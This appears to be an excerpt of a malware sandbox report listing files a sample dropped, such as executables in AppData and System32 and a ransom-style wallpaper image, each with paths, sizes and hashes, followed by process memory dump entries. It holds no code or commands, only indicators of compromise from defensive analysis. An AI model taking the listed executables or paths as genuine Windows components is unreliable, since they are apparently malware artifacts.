                                                              • Path C:\Users\Admin\AppData\Local\Temp\RWLcruy.exe
                                                              • Size 13.1MB
                                                              • SHA256 086a584045b9237f08abe6644d4e100af6ef0496cf50ae8dd258749fc71e867d
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                              Submit Download

                                                              __PSScriptPolicyTest_dbbsfzdr.chr.ps1
                                                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dbbsfzdr.chr.ps1
                                                              • Size 60B
                                                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                              • MD5 SHA1 SHA512 TLSH
                                                              Submit Download

                                                              wallpaper_ncrypt.jpg
                                                              • Path C:\Users\Admin\AppData\Local\Temp\wallpaper_ncrypt.jpg
                                                              • Size 195KB
                                                              • SHA256 17518c61d6bdecbe6e466384425fdb65f10ac5c3d170c464ff89c996b74542b4
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                              Submit Download

                                                              WindowsHostManager.exe
                                                              • Path C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe
                                                              • Size 5.7MB
                                                              • SHA256 c5d05af1708d77551febb0cdfa51b80b2a6452dc7b415b29c403c2c98cc686d3
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                              Submit Download

                                                              whm_crash.log
                                                              • Path C:\Users\Admin\AppData\Roaming\whm_crash.log
                                                              • Size 5KB
                                                              • SHA256 d24ab216dd42a4eadfe10d6cc08f89ee92186c2d1b118b63c5f9c40eb8ae9d5b
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                              Submit Download

                                                              whm_ws.log
                                                              • Path C:\Users\Admin\AppData\Roaming\whm_ws.log
                                                              • Size 261B
                                                              • SHA256 a529f2b249ecdfb53f4f843b572b5e766f8b0334d8b9db0b388729739c0c003f
                                                              • MD5 SHA1 SHA512 TLSH
                                                              Submit Download

                                                              whm_ws.log
                                                              • Path C:\Users\Admin\AppData\Roaming\whm_ws.log
                                                              • Size 4KB
                                                              • SHA256 cb2b8a0d95109667e81a700760ee0471cac12a930ac3d4ef66e026cf13bac49b
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                              Submit Download

                                                              readme.txt
                                                              • Path C:\Users\Admin\Downloads\readme.txt
                                                              • Size 6B
                                                              • SHA256 a0ab49ca31b6a8bf9f9d496592c15c029ce0489239765900d0b7241785b73d10
                                                              • MD5 SHA1 SHA512
                                                              Submit Download

                                                              def_none.exe
                                                              • Path C:\Windows\System32\def_none.exe
                                                              • Size 280KB
                                                              • SHA256 897307c0487c3f7376eedf6b3f999559e0aa16855571f30aef4621583f7ff46e
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                              Submit Download

                                                              memory/2724-21-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
                                                              Download

                                                              memory/2724-19-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
                                                              Download

                                                              memory/2724-35-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
                                                              Download

                                                              memory/2724-30-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
                                                              Download

                                                              memory/2724-22-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
                                                              Download

                                                              memory/2724-36-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
                                                              Download

                                                              memory/3228-678-0x00000225BDC40000-0x00000225BDCF2000-memory.dmp
                                                              Download

                                                              memory/3712-477-0x00000251257B0000-0x00000251264DC000-memory.dmp
                                                              Download

                                                              memory/3712-761-0x00000251418E0000-0x00000251418FE000-memory.dmp
                                                              Download

                                                              memory/3712-759-0x0000025141890000-0x00000251418B6000-memory.dmp
                                                              Download

                                                              memory/3712-760-0x00000251418D0000-0x00000251418D8000-memory.dmp
                                                              Download

                                                              memory/3712-758-0x0000025141870000-0x0000025141888000-memory.dmp
                                                              Download

                                                              memory/5124-662-0x000001A4CF0C0000-0x000001A4CF0CA000-memory.dmp
                                                              Download

                                                              memory/5124-660-0x000001A4CF0F0000-0x000001A4CF1A2000-memory.dmp
                                                              Download

                                                              memory/5124-659-0x000001A4CF0D0000-0x000001A4CF0EE000-memory.dmp
                                                              Download

                                                              memory/5124-656-0x000001A4CEE50000-0x000001A4CEE72000-memory.dmp
                                                              Download

                                                              memory/5568-671-0x0000023068090000-0x0000023068142000-memory.dmp
                                                              Download

                                                              memory/5880-15-0x00000247D0DD0000-0x00000247D0DE6000-memory.dmp
                                                              Download

                                                              memory/5880-6-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
                                                              Download

                                                              memory/5880-3-0x00000247D0440000-0x00000247D091A000-memory.dmp
                                                              Download

                                                              memory/5880-2-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
                                                              Download

                                                              memory/5880-20-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
                                                              Download

                                                              memory/5880-1-0x00000247B58C0000-0x00000247B5E82000-memory.dmp
                                                              Download

                                                              memory/5880-0-0x00007FFCC9CEF000-0x00007FFCC9CF0000-memory.dmp
                                                              Download